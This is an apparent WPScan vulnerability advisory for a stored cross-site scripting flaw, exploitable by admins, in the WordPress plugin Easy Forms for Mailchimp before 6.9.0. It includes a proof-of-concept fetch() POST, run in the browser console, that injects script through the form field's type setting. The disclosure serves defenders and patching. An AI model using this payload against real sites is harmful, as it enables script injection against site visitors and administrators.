Lucene search

K
wpvulndbSławomir Zakrzewski (AFINE)WPVDB-ID:0B094CBA-9288-4C9C-87A9-BDCE286FE8B6
HistoryDec 21, 2023 - 12:00 a.m.

Easy Forms for Mailchimp < 6.9.0 - Admin+ Stored Cross-Site Scripting

2023-12-2100:00:00
Sławomir Zakrzewski (AFINE)
wpscan.com
5
mailchimp
cross-site scripting
admin
plugin
security
vulnerability

0.0004 Low

EPSS

Percentile

14.2%

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed

PoC

  1. Create a new opt-in form 2) Edit the form, and add a “First name” field. 3) Update the form 4) Staying on the same page, run the following code in your browser console: await fetch(document.forms[0].action, { "credentials": "include", "headers": { "Content-Type": "application/x-www-form-urlencoded", }, "body": `form-name=Test+form&amp;form-description;=Test+description&amp;field;%5BFNAME%5D%5Blabel%5D=First+Name&amp;field;%5BFNAME%5D%5Btype%5D=birthday\"'/&gt;&amp;field;%5BFNAME%5D%5Bmerge%5D=FNAME&amp;field;%5BFNAME%5D%5Bposition%5D=1&amp;field;%5BFNAME%5D%5Bplaceholder%5D=&amp;field;%5BFNAME%5D%5Bdefault%5D=&amp;field;%5BFNAME%5D%5Bdescription%5D=&amp;field;%5BFNAME%5D%5Badditional-classes%5D=&amp;yikes-easy-mc-form-class-names;=&amp;yikes-easy-mc-inline-form;%5B%5D=0&amp;yikes-easy-mc-submit-button-type;%5B%5D=text&amp;yikes-easy-mc-submit-button-text;=Submit&amp;yikes-easy-mc-submit-button-image;=&amp;yikes-easy-mc-submit-button-classes;=&amp;yikes-easy-mc-form-restriction-start-date;=&amp;yikes-easy-mc-form-restriction-start-time;=&amp;yikes-easy-mc-form-restriction-end-date;=&amp;yikes-easy-mc-form-restriction-end-time;=&amp;yikes-easy-mc-form-restriction-pending-message;=Signup+is+not+yet+open%2C+and+will+be+available+on+September+12%2C+2023+at+8%3A13PM.+Please+come+back+then+to+signup.&amp;yikes-easy-mc-form-restriction-expired-message;=This+signup+for+this+form+ended+on+September+13%2C+2023+at+8%3A13PM.&amp;yikes-easy-mc-form-restriction-login-message;=You+need+to+be+logged+in+to+sign+up+for+this+mailing+list.&amp;yikes-easy-mc-success-message;=&amp;yikes-easy-mc-success-single-optin-message;=&amp;yikes-easy-mc-user-resubscribed-success-message;=&amp;yikes-easy-mc-user-update-link;=&amp;yikes-easy-mc-user-subscribed-message;=&amp;yikes-easy-mc-update-email-successful;=&amp;yikes-easy-mc-update-email-failure;=&amp;yikes-easy-mc-general-error-message;=&amp;yikes-easy-mc-user-email-subject;=&amp;yikes-easy-mc-user-email-body;=Greetings%2C%0D%0A%0D%0AA+request+has+been+made+to+update+your+Mailchimp+account+profile+information.+To+do+so+please+use+the+following+link%3A+%5Blink%5DUpdate+Mailchimp+Profile+Info%5B%2Flink%5D%0D%0A%0D%0AIf+you+did+not+request+this+update%2C+please+disregard+this+email.%0D%0A%0D%0A%26nbsp%3B%0D%0A%0D%0AThis+email+was+sent+from%3A+%5Burl%5D%0D%0A%0D%0A%26nbsp%3B%0D%0A%0D%0A%26nbsp%3B%0D%0A%3Cp+style%3D%22font-size%3A+13px%3B+margin-top%3A+5em%3B%22%3E%3Cem%3EThis+email+was+generated+by+the+%3Ca+href%3D%22http%3A%2F%2Fwww.wordpress.org%2Fplugins%2Fyikes-inc-easy-mailchimp-extender%2F%22+target%3D%22_blank%22+rel%3D%22noopener%22%3EEasy+Forms+for+Mailchimp%3C%2Fa%3E+plugin%2C+created+by+%3Ca+href%3D%22http%3A%2F%2Fwww.yikesinc.com%22+target%3D%22_blank%22+rel%3D%22noopener%22%3EYIKES+Inc.%3C%2Fa%3E%3C%2Fem%3E%3C%2Fp%3E&amp;form;_switcher=1&amp;associated-list;=${document.getElementById('associated-list').value }&amp;single-double-optin;=1&amp;update-existing-user;=1&amp;update-existing-email;=1&amp;form-ajax-submission;=1&amp;redirect-user-on-submission;=0&amp;redirect-user-to-selection;=1&amp;custom-redirect-url;=&amp;redirect;_new_window=0&amp;hide-form-post-signup;=0&amp;replace-interest-groups;=1`, "method": "POST", "mode": "cors" }); Refresh the page and notice the alert box Javascript snippet we injected in field[FNAME][type] popping up.
CPENameOperatorVersion
eq6.9.0

0.0004 Low

EPSS

Percentile

14.2%

Related for WPVDB-ID:0B094CBA-9288-4C9C-87A9-BDCE286FE8B6